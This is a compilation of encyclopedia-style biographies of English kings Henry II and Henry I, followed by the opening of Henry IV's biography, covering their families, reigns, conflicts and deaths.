          On 18 May 1152, at Bordeaux Cathedral, at the age of 19, Henry married Eleanor of Aquitaine. The wedding was "without the pomp or ceremony that befitted their rank,"partly because only two months previously Eleanor's marriage to Louis VII of France had been annulled. Their relationship, always stormy, eventually died: After Eleanor encouraged her children to rebel against their father in 1173, Henry had her placed under house-arrest, where she remained for sixteen years.


          Henry and Eleanor had eight children, William, Henry, Richard, Geoffrey, John, Matilda, Eleanor, and Joan. William died in infancy, meaning their son Henry was crowned as joint king when he came of age instead. However, because he was never King in his own right, he is known as " Henry the Young King", not Henry III. In theory, Henry would have inherited the throne from his father, Richard his mother's possessions, Geoffrey would have Brittany and John would be Lord of Ireland. However, fate would ultimately decide much differently.


          It has been suggested that another son was born to the couple, Philip, by John Speed's 1611 book, History Of Great Britain. His sources no longer exist, but Philip would presumably have died in early infancy.


          Henry also had illegitimate children. While they were not valid claimants, their Royal blood made them potential problems for Henry's legitimate successors. William de Longespee was one such child. He remained largely loyal and contented with the lands and wealth afforded to him as a bastard. Geoffrey, Bishop of Lincoln, Archbishop of York, on the other hand, was seen as a possible thorn in the side of Richard I of England. Geoffrey had been the only son to attend Henry II on his deathbed, after even the King's favourite, John Lackland, deserted him. Richard forced him into the clergy at York, thus ending his secular ambitions. Another son, Morgan was elected to the Bishopric of Durham, although he was never consecrated due to opposition from Pope Innocent III.


          For a complete list of Henry's descendants, see List of members of the House of Plantagenet.


          


          Appearance


          Several sources record Henry's appearance. They all agree that he was very strong, energetic and surpassed his peers athletically.


          
            
              	

              	
                ...he was strongly built, with a large, leonine head, freckle fiery face and red hair cut short. His eyes were grey and we are told that his voice was harsh and cracked, possibly because of the amount of open-air exercise he took. He would walk or ride until his attendants and courtiers were worn out and his feet and legs were covered with blistered and sores...He would perform all athletic feats. John Harvey (Modern)

                ...the lord king has been red-haired so far, except that the coming of old age and grey hair has altered that colour somewhat. His height is medium, so that neither does he appear great among the small, nor yet does he seem small among the great... curved legs, a horseman's shins, broad chest, and a boxer's arms all announce him as a man strong, agile and bold... he never sits, unless riding a horse or eating... In a single day, if necessary, he can run through four or five day-marches and, thus foiling the plots of his enemies, frequently mocks their plots with surprise sudden arrivals... Always are in his hands bow, sword, spear and arrow, unless he be in council or in books.- Peter of Blois (Contemporary)


                A man of reddish, freckled complexion, with a large, round head, grey eyes that glowed fiercely and grew bloodshot in anger, a fiery countenance and a harsh, cracked voice. His neck was poked forward slightly from his shoulders, his chest was broad and square, his arms strong and powerful. His body was stocky, with a pronounced tendency toward fatness, due to nature rather than self-indulgence - which he tempered with exercise. Gerald of Wales (Contemporary)
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              	 Joan, Queen of Sicily
            

          


          


          Character


          Like his grandfather, Henry I of England, Henry II had an outstanding knowledge of the law. A talented linguist and excellent Latin speaker, he would sit on councils in person whenever possible. His interest in the economy was reflected in his own frugal lifestyle. He dressed casually except when tradition dictated otherwise and ate a sparing diet.


          He was modest and mixed with all classes easily. "He does not take upon himself to think high thoughts, his tongue never swells with elated language; he does not magnify himself as more than man." His generosity was well-known and he employed a Templar to distribute one tenth of all the food bought to the royal court amongst his poorest subjects.


          Henry also had a good sense of humour and was never upset at being the butt of the joke. Once while he sat sulking and occupying himself with needlework, a courtier suggested that he looked like a tanner's daughter. The King rocked with laughter and even explained the joke to those who did not immediately grasp it.


          "His memory was exceptional: he never failed to recognize a man he had once seen, nor to remember anything which might be of use. More deeply learned than any King of his time in the western world".


          


          Building an empire


          


          Henry's claims by blood and marriage
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              Henry II depicted in Cassell's History of England (1902)
            

          


          Henry's father, Geoffrey Plantagenet, held rich lands as a vassal from Louis VII of France. Maine and Anjou were therefore Henry's by birthright, amongst other lands in Western France. By maternal claim, Normandy was also to be his. However, the most valuable inheritance Henry received from his mother was a claim to the English throne. Granddaughter of William I of England, Empress Matilda should have been Queen, but was usurped by her cousin, Stephen I of England. Henry's efforts to restore the royal line to his own family would create a dynasty spanning three centuries and thirteen Kings.


          Henry's marriage to Eleanor of Aquitaine placed him firmly in the ascendancy. His plentiful lands were added to his new wife's possessions, giving him control of Aquitaine and Gascony. The riches of the markets and vineyards in these regions, combined with Henry's already plentiful holdings, made Henry the most powerful vassal in France.


          


          Taking the English Throne


          Realising his royal ambitions was far from straightforward for Henry. His mother had been pushing her claim for the crown for several years to no avail, finally retiring in 1147. It was 1147 when Henry had accompanied Matilda on an invasion of England, his first and her last. It soon failed due to lack of preparation, but it made him determined that England was his mother's right, and so his own. He returned to England again between 1149 and 1150. On 22nd May 1149 he was knighted by King David I of Scotland, his great uncle, at Carlisle.


          Early in January 1153, just months after his wedding, he crossed the Channel one more time. His fleet was 36 ships strong, transporting a force of 3,000 footmen and 140 horses. Sources dispute whether he landed at Dorset or Hampshire, but it is known he entered a small village church. It was 6 January and the locals were observing the Festival of the Three Kings. The correlation between the festivities and Henry's arrival was not lost on them. "Ecce advenit dominator Dominus, et regnum in manu ejus", they exclaimed as the introit for their feast, "Behold the Lord the ruler cometh, and the Kingdom in his hand".


          Henry moved quickly and within the year he had secured his right to succession via the Treaty of Wallingford with Stephen of England. He was now, for all intents and purposes, in control of England. When Stephen died in October 1154, it was only a matter of time until Henry's treaty would come to fruition, and the quest that began with his mother would be over. On 19 December 1154 he was crowned in Westminster Abbey, "By The Grace Of God, Henry II, King Of England". Henry Plantagenet, vassal of Louis VII, was now more powerful than the French King himself.


          


          Lordship over Ireland


          Shortly after his coronation, Henry sent an embassy to the newly elected Pope Adrian IV. Led by Bishop Arnold of Lisieux, the group of clerics requested authorisation for Henry to invade Ireland. Most historians agree that this resulted in the papal bull Laudabiliter. It is possible Henry acted under the influence of a "Canterbury plot," in which English ecclesiastics strove to dominate the Irish church. However, Henry may have simply intended to secure Ireland as a lordship for his younger brother William.


          Unfortunately William died soon after the plan was hatched and Ireland was ignored. It was not until 1166 that it came to the surface again. In that year, Diarmait Mac Murchada, a minor Irish Prince, was driven from his land of Leinster by the High King of Ireland. Diarmait followed Henry to Aquitaine, seeking an audience. He asked the English king to help him reassert control; Henry agreed and made footmen, knights and nobles available for the cause. The most prominent of these was a Welsh Norman, Richard de Clare, 2nd Earl of Pembroke, nicknamed "Strongbow". In exchange for his loyalty, Diarmait offered Earl Richard his daughter Aoife in marriage and made him heir to the kingdom.


          The Normans restored Diarmait to his traditional holdings, but it quickly became apparent that Henry had not offered aid purely out of kindness. In 1171, Henry arrived from France, declaring himself Lord of Ireland. All of the Normans, along with many Irish princes, took oaths of homage to Henry, and he left after six months. He never returned, but he later named his young son, the future King John of England, Lord of Ireland.


          Diarmait's appeal for outside help had made Henry Ireland's Lord, starting 800 years of English overlordship on the island. The change was so profound that Diarmait is still remembered as a traitor of the highest order. In 1172, at the Synod of Cashel, Roman Catholicism was proclaimed as the only permitted religious practice in Ireland.


          


          Consolidation in Scotland


          In 1174, a rebellion spearheaded by his own sons was not Henry's biggest problem. An invasion force from Scotland, led by their King, William the Lion, was advancing from the North. To make matters worse, a Flemish armada was sailing for England, just days from landing. It seemed likely that the King's rapid growth was to be checked.


          Henry saw his predicament as a sign from God, that his treatment of Thomas Becket would be rewarded with defeat. He immediately did penance at Canterbury for the Archbishop's fate and events took a turn for the better.


          The hostile armada dispersed in the English Channel and headed back for the continent. Henry had avoided a foreign invasion, but Scottish rebels were still raiding in the North. Henry sent his troops to meet the Scots at Alnwick, where the English scored a devastating victory. William was captured in the chaos, removing the figurehead for rebellion, and within months all the problem fortresses had been torn down. Scotland was now completely dominated by Henry, another fief in his Angevin Empire, that now stretched from the Solway Firth almost to the Mediterranean and from the Somme to the Pyrenees. By the end of this crisis, and his sons' revolt, the King was "left stronger than ever before".


          


          Domestic policy


          


          Dominating nobles


          During Stephen's reign, the barons in England had undermined Royal authority. Rebel castles were one problem, nobles avoiding military service was another. The new King immediately moved against the illegal fortresses that had sprung up during Stephen's reign, having them torn down.


          To counter the problem of avoiding military service, Scutage became common. This tax, paid by Henry's barons instead of serving in his army, allowed the King to hire mercenaries. These hired troops were used to devastating effect by both Henry and his son Richard, and by 1159 the tax was central to the King's army and his authority over vassals.


          


          Legal reform


          Henry II's reign saw the establishment of Royal Magistrate courts. This allowed court officials to adjudicate on dispute with authority to the crown. This reduced the workload on Royal courts proper and allowed justice to be delivered with greater efficiency.


          Henry also worked to make the legal system fairer. Trial by ordeal and trial by combat were still common and even in the 12th century these methods were outdated. By the Assize of Clarendon, in 1166, trial by jury became the standard. Trial by combat was still legal in England until 1819, but Henry's support of juries was a great contribution to the country's social history. The Assize of Northampton, in 1176, cemented the earlier agreements at Clarendon.


          


          Religious policy


          


          Strengthening royal control over the Church


          In the tradition of Norman kings, Henry II was keen to dominate the Church like the state. At Clarendon Palace on January 30, 1164, the King set out sixteen constitutions, aimed at decreasing ecclesiastical interference from Rome. Secular courts, increasingly under the King's influence, would also have jurisdiction over clerical trials and disputes. Henry's authority guaranteed him majority support, but the newly appointed Archbishop of Canterbury refused to ratify the proposals.


          Henry was characteristically stubborn and on October 8, 1164, he called the Archbishop, Thomas Becket, before the Royal Council. However, Becket had fled to France and was under the protection of Henry's rival, Louis VII of France.


          The King continued doggedly in his pursuit of control over his clerics, to the point where his religious policy became detrimental to his subjects. By 1170, the Pope was considering excommunicating all of Britain. Only Henry's agreement that Becket could return to England without penalty prevented this fate.


          


          Murder of Thomas Becket


          "What miserable drones and traitors have I nurtured and promoted in my household who let their lord be treated with such shameful contempt by a low-born cleric!" were the words which sparked the darkest event in Henry's religious wranglings. This speech has translated into legend in the form of "Will no one rid me of this troublesome priest?" - a provocative statement which would perhaps have been just as riling to the knights and barons of his household at whom it was aimed as his actual words. Bitter at Becket, his old friend, constantly thwarting his clerical constitutions, the King shouted in anger but most likely not with intent. However, four of Henry's knights, Reginald Fitzurse, Hugh de Moreville, William de Tracy, and Richard le Breton overheard their King's cries and decided to act on his words.


          On December 29, 1170, they entered Canterbury Cathedral, finding Becket near the stairs to the crypt. They beat down the Archbishop, killing him with several blows. Becket's brains were scattered upon the ground with the words; "Let us go, this fellow will not be getting up again." Whatever the rights and wrongs, it certainly tainted Henry's later reign. For the remaining 20 years of his rule, he would personally regret the death of a man who "in happier times...had been a friend".


          Just three years later, Becket was canonized and revered as a martyr against secular interference in God's church; Pope Alexander III had declared Thomas Becket a saint. Plantagenet historian John Harvey believes "The martyrdom of Thomas Becket was a martyrdom which he had repeatedly gone out of his way to seek...one cannot but feel sympathy towards Henry". Wherever the true intent and blame lies, it was yet another failure in Henry's religious policy, an arena which he seemed to lack adequate subtlety. And politically, Henry had to sign the Compromise of Avranches which removed from the secular courts almost all jurisdiction over the clergy.


          


          The Angevin Curse


          


          Civil war and rebellion


          
            
              	

              	It is the common fate of sons to be misunderstood by their fathers, and of fathers to be unloved of their sons, but it has been the particular bane of the English throne.

              	
            

          


          The "Angevin Curse" is infamous amongst the Plantagenet rulers. Trying to divide his lands amongst numerous ambitious children resulted in many problems for Henry. The King's plan for an orderly transfer of power relied on Young Henry ruling and his younger brothers doing homage to him for land. However, Richard refused to be subordinate to his brother, because they had the same mother and father, and the same Royal blood.


          In 1173, Young Henry and Richard moved against their father and his succession plans, trying to secure the lands they were promised. The King's changing and revising of his inheritance nurtured jealousy in his offspring, which turned to aggression. While both Young Henry and Richard were relatively strong in France, they still lacked the manpower and experience to trouble their father unduly. The King crushed this first rebellion and was fair in his punishment, Richard for example, lost half of the revenue allowed to him as Count of Poitou.


          In 1182, the Plantagenet children's aggression turned inward. Young Henry, Richard and their brother Geoffrey all began fighting each other for their father's possessions on the continent. The situation was exacerbated by French rebels and the French King, Philip Augustus. This was the most serious threat to come from within the family yet, and the King faced the dynastic tragedy of civil war. However, on 11 June 1183, Henry the Young King died. The uprising, which had been built around the Prince, promptly collapsed and the remaining brothers returned to the their individual lands. Henry quickly occupied the rebel region of Angouleme to keep the peace.


          The final battle between Henry's Princes came in 1184. Geoffrey of Brittany and John of Ireland, the youngest brothers, had been promised Aquitaine, which belonged to elder brother Richard. Geoffrey and John invaded, but Richard had been controlling an army for almost 10 years and was an accomplished military commander. Richard expelled his fickle brothers and they would never again face each other in combat, largely because Geoffrey died two years later, leaving only Richard and John.


          


          Death and succession


          The final thorn in Henry's side would be an alliance between his eldest son, Richard, and his greatest rival, Philip Augustus. John had become Henry's favourite son and Richard had begun to fear he was being written out of the King's inheritance. In summer 1189, Richard and Philip invaded Henry's heartland of power, Anjou. The unlikely allies took northwest Touraine, attacked Le Mans and overran Maine and Tours. Defeated, Henry II met his opponents and agreed to all their demands, including paying homage to Philip for all his French possessions.


          Weak, ill, and deserted by all but an illegitimate son, Geoffrey, Archbishop of York, Henry died at Chinon on 6 July 1189. His legitimate children, chroniclers record him saying, were "the real bastards.". The victorious Prince Richard later paid his respects to Henry's corpse as it travelled to Fontevraud Abbey, upon which, according to Roger of Wendover, 'blood flowed from the nostrils of the deceased, as if...indignant at the presence of the one who was believed to have caused his death'. The Prince, Henry's oldest son and conqueror, was crowned Richard I of England on 1 September 1189.


          


          Ancestry
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          Descendants


          For a complete list of Henry's descendants, see List of members of the House of Plantagenet.


          


          Fictional portrayals


          Henry II is a central character in the plays Becket by Jean Anouilh and The Lion in Winter by James Goldman. Peter O'Toole portrayed him in the film adaptations of both of these plays - Becket (1964) and The Lion in Winter (1968) - for both of which he received nominations for the Academy Award for Best Actor. He was also nominated for the BAFTA Award for Best British Actor for Becket and won the Golden Globe Award for Best Actor - Motion Picture Drama for both films. Patrick Stewart portrayed Henry in the TV film adaptation of The Lion in Winter (2003), for which he was nominated for the Golden Globe Award for Best Performance by an Actor in a Mini-Series or Motion Picture Made for Television.


          Brian Cox portrayed him in the BBC TV series The Devil's Crown (1978), which dramatised his reign and those of his sons. He has also been portrayed on screen by William Shea in the silent short Becket (1910), A. V. Bramble in the silent film Becket (1923), based on a play by Alfred Lord Tennyson, Alexander Gauge in the film adaptation of the T. S. Eliot play Murder in the Cathedral (1952), and Dominic Roche in the British children's TV series Richard the Lionheart (1962).


          Henry II is also a significant character in the historical fiction/medieval murder mysteries, Mistress of the Art of Death and The Serpent's Tale by Diana Norman under the pseudonym, Ariana Franklin.
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        Henry I of England


        
          

          
            
              	Henry I
            


            
              	King of the English, Duke of the Normans(picture can be found in S.S books)
            


            
              	[image: ]
            


            
              	Reign

              	3 August 1100 1 December 1135
            


            
              	Coronation

              	5 August 1100
            


            
              	Born

              	c. 1068
            


            
              	Birthplace

              	Selby, Yorkshire
            


            
              	Died

              	1 December 1135
            


            
              	Place of death

              	Saint-Denis-en-Lyons (now Lyons-la-Fort), Normandy
            


            
              	Buried

              	Reading Abbey, Reading, England
            


            
              	Predecessor

              	William II
            


            
              	Successor

              	Stephen (de facto), Empress Matilda (de jure)
            


            
              	Consort

              	Matilda of Scotland (c. 1080 1118)

              Adeliza of Louvain ( 1103 1151)
            


            
              	Issue

              	Robert, 1st Earl of Gloucester

              (illeg., c. 1090 1147)

              Empress Matilda (c. 1102 1167)
            


            
              	Royal House

              	Norman
            


            
              	Father

              	William I (c. 1028 1087)
            


            
              	Mother

              	Matilda of Flanders ( 1031 1083)
            

          


          Henry I (circa 1068  1 December 1135) was the fourth son of William the Conqueror and the first born in England after the Norman Conquest of 1066. He succeeded his elder brother William II as King of England in 1100 and defeated his eldest brother, Robert Curthose, to become Duke of Normandy in 1106. He was called Beauclerc for his scholarly interests and Lion of Justice for refinements which he brought about in the rudimentary administrative and legislative machinery of the time.


          Henry's reign is noted for its political opportunism. His succession was wrought while his brother Robert was away on the First Crusade and the beginning of his reign was occupied by wars with Robert for control of England and Normandy. He successfully reunited the two realms for the first time since his father's death in 1087. Upon his succession he granted the baronage a Charter of Liberties, which formed a basis for subsequent challenges to rights of kings and presaged the Magna Carta, which subjected the King to law.


          The rest of Henry's reign was filled with judicial and financial reforms. He established the biannual Exchequer to reform the treasury. He used itinerant officials to curb abuses of power at the local and regional level, garnering the praise of the people. The differences between the Anglo-Saxon and Norman populations began to break down during his reign and he himself married a daughter of the old Saxon royal house. He made peace with the church after the disputes of his brother's reign, but he could not smooth out his succession after the disastrous loss of his eldest son William in the wreck of the White Ship. His will was to be succeeded by his daughter, the Empress Matilda, but his stern rule was followed by civil war known as the Anarchy.


          


          Early life


          Henry was born between May 1068 and May 1069, probably in Selby, Yorkshire in the north east of England. His mother, Queen Matilda of Flanders, was descended from the Saxon King Alfred the Great (but not through the main West Saxon Royal line). Queen Matilda named the infant Prince Henry after her uncle, King Henry I of France. As the youngest son of the family, he was almost certainly expected to become a Bishop and was given rather more extensive schooling than was usual for a young nobleman of that time. The Chronicler William of Malmesbury asserts that Henry once remarked that an illiterate King was a crowned ass. He was certainly the first Norman ruler to be fluent in the English language.


          William I's third son Richard had pre-deceased his father by being killed in an hunting accident in the New Forest so, upon his death in 1087, William bequeathed his dominions to his three surviving sons in the following manner:


          
            	Robert received the Duchy of Normandy and became Duke Robert III


            	William Rufus received the Kingdom of England and became King William II


            	Henry Beauclerc received 5,000 pounds of silver

          


          The Chronicler Orderic Vitalis reports that the old King had declared to Henry: "You in your own time will have all the dominions I have acquired and be greater than both your brothers in wealth and power."


          Henry tried to play his brothers off against each other but eventually, wary of his devious manoeuvring, they acted together and signed an Accession Treaty which sought to bar Prince Henry from both Thrones by stipulating that if either King William or Duke Robert died without an heir, the two dominions of their father would be reunited under the surviving brother.


          


          Seizing the throne of England


          
            
              	English Royalty
            


            
              	House of Normandy
            


            
              	
            


            
              	Henry I
            


            
              	 Matilda, Countess of Anjou
            


            
              	 William Adelin
            


            
              	 Robert, Earl of Gloucester
            

          


          When, on 2 August 1100, William II was killed by an arrow in yet another hunting accident in the New Forest, Duke Robert was not yet returned from the First Crusade and his absence, along with his poor reputation among the Norman nobles, allowed Prince Henry to seize the Royal Treasury at Winchester, Hampshire - where he buried his dead brother. He was accepted as King by the leading Barons and was crowned three days later on 5 August at Westminster Abbey. He secured his position among the nobles by an act of political appeasement: he issued a Charter of Liberties which is considered a forerunner of the Magna Carta.


          


          First marriage


          On 11 November 1100 Henry married Edith, daughter of King Malcolm III. Since Edith was also the niece of Edgar Atheling and the great-granddaughter of Edward the Confessor's paternal half-brother Edmund Ironside, the marriage united the Norman line with the old English line of Kings. The marriage greatly displeased the Norman Barons, however, and as a concession to their sensibilities Edith changed her name to Matilda upon becoming Queen. The other side of this coin, however, was that Henry, by dint of his marriage, became far more acceptable to the Anglo-Saxon populace.


          The Chronicler William of Malmesbury described Henry thus: "He was of middle stature, greater than the small, but exceeded by the very tall; his hair was black and set back upon the forehead; his eyes mildly bright; his chest brawny; his body fleshy."


          


          Conquest of Normandy


          In the following year, 1101, Robert Curthose attempted to seize the crown by invading England. In the Treaty of Alton, Robert agreed to recognise his brother Henry as King of England and return peacefully to Normandy, upon receipt of an annual sum of 2000 marks, which Henry proceeded to pay.


          In 1105, to eliminate the continuing threat from Robert Curthose and to obviate the drain on his fiscal resources, Henry led an expeditionary force across the English Channel.


          


          Battle of Tinchebray


          On the morning of the 28 September 1106, exactly 40 years after William had landed in England, the decisive battle between his two sons, Robert Curthose and Henry Beauclerc took place in the small village of Tinchebray. This combat was totally unexpected and unprepared. Henry and his army were marching south from Barfleur on their way to Domfront and Robert was marching with his army from Falaise on their way to Mortain. They met at the crossroads at Tinchebray and the running battle which ensued was spread out over several kilometres. The site where most of the fighting took place is the village playing field today. Towards evening Robert tried to retreat but was captured by Henry's men at a place three kilometres (just under two miles) North of Tinchebray where a farm named "Prise" (taken) stands today on the D22 road. The tombstones of three knights are nearby on the same road.


          


          King of England and Duke of Normandy


          After Henry had defeated his brother's Norman army at Tinchebray he imprisoned Robert, initially in the Tower of London, subsequently at Devizes Castle and later at Cardiff. One day whilst out riding Robert attempted to escape from Cardiff but his horse was bogged down in a swamp and he was recaptured. To prevent further escapes Henry had Robert's eyes burnt out. Henry appropriated the Duchy of Normandy as a possession of the Kingdom of England and reunited his father's dominions.


          He attempted to reduce difficulties in Normandy by marrying his eldest son, William Adelin, to the daughter of Fulk of Jerusalem (also known as Fulk V), Count of Anjou, then a serious enemy. Eight years later, after William's untimely death, a much more momentous union was made between Henry's daughter, the Empress Matilda and Fulk's son Geoffrey Plantagenet, which eventually resulted in the union of the two Realms under the Plantagenet Kings.


          


          Activities as a King
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              Henry I depicted in Cassell's History of England (1902)
            

          


          Henry's need for finance to consolidate his position led to an increase in the activities of centralized government. As King, Henry carried out social and judicial reforms, including:


          
            	issuing the Charter of Liberties


            	restoring the laws of King Edward the Confessor.

          


          Henry was also known for some brutal acts. He once threw a traitorous burgher named Conan Pilatus from the tower of Rouen; the tower was known from then on as "Conan's Leap". In another instance that took place in 1119, Henry's son-in-law, Eustace de Pacy, and Ralph Harnec, the constable of Ivry, exchanged their children as hostages. When Eustace blinded Harnec's son, Harnec demanded vengeance. King Henry allowed Harnec to blind and mutilate Eustace's two daughters, who were also Henry's own grandchildren. Eustace and his wife, Juliane, were outraged and threatened to rebel. Henry arranged to meet his daughter at a parley at Breteuil, only for Juliane to draw a crossbow and attempt to assassinate her father. She was captured and confined to the castle, but escaped by leaping from a window into the moat below. Some years later Henry was reconciled with his daughter and son-in-law.


          


          Legitimate children


          He had two children by Matilda (Edith), who died in 1118:


          
            	Matilda, born February 1102, and


            	William Adelin, born November 1103.

          


          Disaster struck when William, his only legitimate son, perished in the wreck of the White Ship on 25 November 1120 off the coast of Normandy. Also among the dead were two of Henry's illegitimate children, as well as a niece, Lucia-Mahaut de Blois. Henry's grieving was intense, and the succession was in crisis.


          


          Second marriage


          On 29 January 1121, he married Adeliza, daughter of Godfrey I of Leuven, Duke of Lower Lotharingia and Landgrave of Brabant, but there were no children from this marriage. Left without male heirs, Henry took the unprecedented step of making his barons swear to accept his daughter Empress Matilda, widow of Henry V, the Holy Roman Emperor, as his heir.


          


          Death and legacy


          Henry visited Normandy in 1135 to see his young grandsons, the children of Matilda and Geoffrey. He took great delight in his grandchildren, but soon quarrelled with his daughter and son-in-law and these disputes led him to tarry in Normandy far longer than he originally planned.


          Henry died on 1 December 1135 of food poisoning from eating "a surfeit of lampreys" (of which he was excessively fond) at Saint-Denis-en-Lyons (now Lyons-la-Fort) in Normandy. His remains were sewn into the hide of a bull to preserve them on the journey, and then taken back to England and were buried at Reading Abbey, which he had founded fourteen years before. The Abbey was destroyed during the Reformation and no trace of his tomb has survived, the probable site being covered by St James' School. There is a small plaque nearby and a large memorial cross in the adjoining Forbury Gardens.


          Although Henry's barons had sworn allegiance to his daughter as their Queen, her gender and her remarriage into the House of Anjou, an enemy of the Normans, allowed Henry's nephew Stephen of Blois, to come to England and claim the throne with popular support.


          The struggle between the Empress and Stephen resulted in a long civil war known as the Anarchy. The dispute was eventually settled by Stephen's naming of Matilda's son, Henry Plantagenet, as his heir in 1153.


          


          Illegitimate children


          King Henry is famed for holding the record for the largest number of acknowledged illegitimate children born to any English king, with the number being around 20 or 25. He had many mistresses, and identifying which mistress is the mother of which child is difficult. His illegitimate offspring for whom there is documentation are:


          
            	Robert, 1st Earl of Gloucester. Often, probably incorrectly, said to have been a son of Sybil Corbet. His mother may have been a member of the Gai/Gay/Gayt family.


            	Maud FitzRoy, married Conan III, Duke of Brittany


            	Constance FitzRoy, married Roscelin de Beaumont


            	Mabel FitzRoy, married William III Gouet


            	Aline FitzRoy, married Matthieu I of Montmorency


            	William de Tracy, died shortly after King Henry.


            	Gilbert FitzRoy, died after 1142. His mother may have been a sister of Walter de Gand.


            	Emma, born circa 1138; married Gui de Laval, Lord Laval. [Uncertain, born 2 years after Henry died.]

          


          


          With Edith


          
            	Matilda du Perche, married Count Rotrou II of Perche, perished in the wreck of the White Ship.

          


          


          With Ansfride


          Ansfride was born circa 1070. She was the wife of Anskill of Seacourt, at Wytham in Berkshire (now Oxfordshire).


          
            	Juliane de Fontevrault, married Eustace de Pacy. She tried to shoot her father with a crossbow after King Henry allowed her two young daughters to be blinded.


            	Fulk FitzRoy, a monk at Abingdon.


            	Richard of Lincoln, perished in the wreck of the White Ship.

          


          


          With Sybil Corbet


          Lady Sybilla Corbet of Alcester was born in 1077 in Alcester in Warwickshire. She married Herbert FitzHerbert, son of Herbert 'the Chamberlain' of Winchester and Emma de Blois. She died after 1157 and was also known as Adela (or Lucia) Corbet. Sybil was definitely mother of Sybil and Rainald, possibly also of William and Rohese. Some sources suggest that there was another daughter by this relationship, Gundred, but it appears that she was thought as such because she was a sister of Reginald de Dunstanville but it appears that that was another person of that name who was not related to this family.


          
            	Sybilla of England, married King Alexander I of Scotland.


            	William Constable, born before 1105. Married Alice (Constable); died after 1187.


            	Reginald de Dunstanville, 1st Earl of Cornwall.


            	Gundred of England ( 1114  1146), married 1130 Henry de la Pomeroy, son of Joscelin de la Pomerai.


            	Rohese of England, born 1114; married Henry de la Pomeroy.

          


          


          With Edith FitzForne


          
            	Robert FitzEdith, Lord Okehampton, (1093  1172) married Dame Maud d'Avranches du Sap.


            	Adeliza FitzEdith. Appears in charters with her brother Robert.

          


          


          With Princess Nest


          Nest ferch Rhys was born about 1073 at Dynefwr Castle, Carmarthenshire, the daughter of Prince Rhys ap Tewdwr of Deheubarth and his wife, Gwladys ferch Rhywallon. She married, in 1095, to Gerald de Windsor (aka Geraldus FitzWalter) son of Walter FitzOther, Constable of Windsor Castle and Keeper of the Forests of Berkshire. She had several other liaisons - including one with Stephen of Cardigan, Constable of Cardigan (1136) - and subsequently other illegitimate children. The date of her death is unknown.


          
            	Henry FitzRoy, died 1157.

          


          


          With Isabel de Beaumont


          Isabel (Elizabeth) de Beaumont (after 1102  after 1172), daughter of Robert de Beaumont, sister of Robert de Beaumont, 2nd Earl of Leicester. She married Gilbert de Clare, 1st Earl of Pembroke, in 1130. She was also known as Isabella de Meulan.


          
            	Isabel Hedwig of England, born circa 1078


            	Matilda FitzRoy, abbess of Montvilliers. also known as montpiller

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Henry_I_of_England"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Henry IV of England


        
          

          
            
              	Henry IV
            


            
              	By the Grace of God, King of England

              and France and Lord of Ireland
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              	Reign

              	30 September 1399 - 20 March 1413
            


            
              	Coronation

              	13 October 1399
            


            
              	Born

              	3 April 1367
            


            
              	Birthplace

              	Bolingbroke Castle
            


            
              	Died

              	March 20, 1413 (aged45)
            


            
              	Place of death

              	Westminster
            


            
              	Buried

              	Canterbury Cathedral
            


            
              	Predecessor

              	Richard II
            


            
              	Successor

              	Henry V
            


            
              	Consort

              	Mary de Bohun (c. 1369- 1394)

              Joanna of Navarre (c. 1370- 1437)
            


            
              	Issue

              	Henry V ( 1387- 1422)

              John, Duke of Bedford

              ( 1389- 1435)

              Thomas, Duke of Clarence

              ( 1388- 1421)

              Humphrey, Duke of Gloucester

              ( 1390- 1447)

              Blanche of England ( 1392- 1409)

              Philippa of England ( 1394- 1430)
            


            
              	Royal House

              	Lancaster
            


            
              	Father

              	John of Gaunt, 1st Duke

              of Lancaster ( 1340- 1399)
            


            
              	Mother

              	Blanche of Lancaster

              (c. 1341- 1369)
            

          


          Henry IV ( 3 April 1367  20 March 1413) was the King of England and France and Lord of Ireland from 1399 to 1413. He was born at Bolingbroke Castle in Lincolnshire, hence the other name by which he was known, "Henry (of) Bolingbroke". His father, John of Gaunt, was the third and oldest surviving son of King Edward III of England, and enjoyed a position of considerable influence during much of the reign of Richard II. Henry's mother was Blanche, heiress to the considerable Lancaster estates.


          His half-sister Catalina Plantagenet by his father's second wife, Constanza of Castile ruled as co-consort of Castile. He also had four half-siblings by Katherine Swynford, his father's longtime mistress and eventual third wife. His relationship with the Beauforts and their mother was equivocal. He expressed resentment that his former governess had taken his mothers place, as well as the favour shown to them by their father. Upon his accession, he revoked his half-brothers marquessate, and passed further legal measures barring them from the throne. However, Thomas Swynford, a son from Katherines first marriage was a trusted and able companion.


          Henry enjoyed a rather more equivocal relationship with Richard II than his father had: they were first cousins and childhood playmates. They were admitted together to the Order of the Garter in 1377, but Henry participated in the Lords Appellants rebellion against the king in 1387. After regaining power, Richard did not punish Henry (many of the other rebellious barons were executed or exiled). In fact, Richard elevated Henry from Earl of Derby to Duke of Hereford.


          The relationship between Henry and the King reached a second crisis in 1398, when Richard banished Henry from the kingdom for ten years (with the approval of Henry's father, John of Gaunt) to avoid a blood feud between Henry and Thomas de Mowbray, 1st Duke of Norfolk, who was exiled for life. Henry spent a full year supporting the unsuccesfull seige of Vilnius (capital of Grand dutchy of Lithuania) by Teutonic knights with his 300 fellow knights.


          The following year, however, John of Gaunt died, and without explanation, Richard cancelled the legal documents that would have allowed Henry to inherit Gaunt's land automatically -- instead, Henry would be required to ask for the lands from Richard. After some hesitation, Henry met with the exiled Thomas Arundel, former (and future) Archbishop of Canterbury, who had lost his position because of his involvement with the Lords Appellant, and Henry and Arundel returned to England while Richard was on a military campaign in Ireland. With Arundel as his advisor, Henry Bolingbroke began a military campaign, confiscating land from those who opposed him and ordering his soldiers to destroy much of Cheshire. Quickly, Henry gained enough power and support to have himself declared King Henry IV, imprisoning King Richard (who died in prison under mysterious circumstances) and by-passing Richards seven-year-old heir-presumptive Edmund de Mortimer. Henry's coronation, on 13 October 1399, is notable as the first time following the Norman Conquest that the monarch made an address in English. Henry consulted with Parliament frequently, but was sometimes at odds with them, especially over ecclesiastical matters. On Arundel's advice, Henry passed the De heretico comburendo and was thus the first English king to allow the burning of heretics, mainly to suppress the Lollard movement.


          


          Reign


          


          The Previous Ruler


          His first problem was what to do with the deposed Richard, and after an early assassination plot was foiled, he probably ordered his death by starvation in early 1400, although there is no evidence for this. Richard's body was put on public display in the old St Paul's Cathedral to show his supporters that he was dead.


          


          Rebellions


          Henry spent much of his reign defending himself against plots, rebellions and assassination attempts.


          
            
              	English Royalty
            


            
              	House of Lancaster
            


            
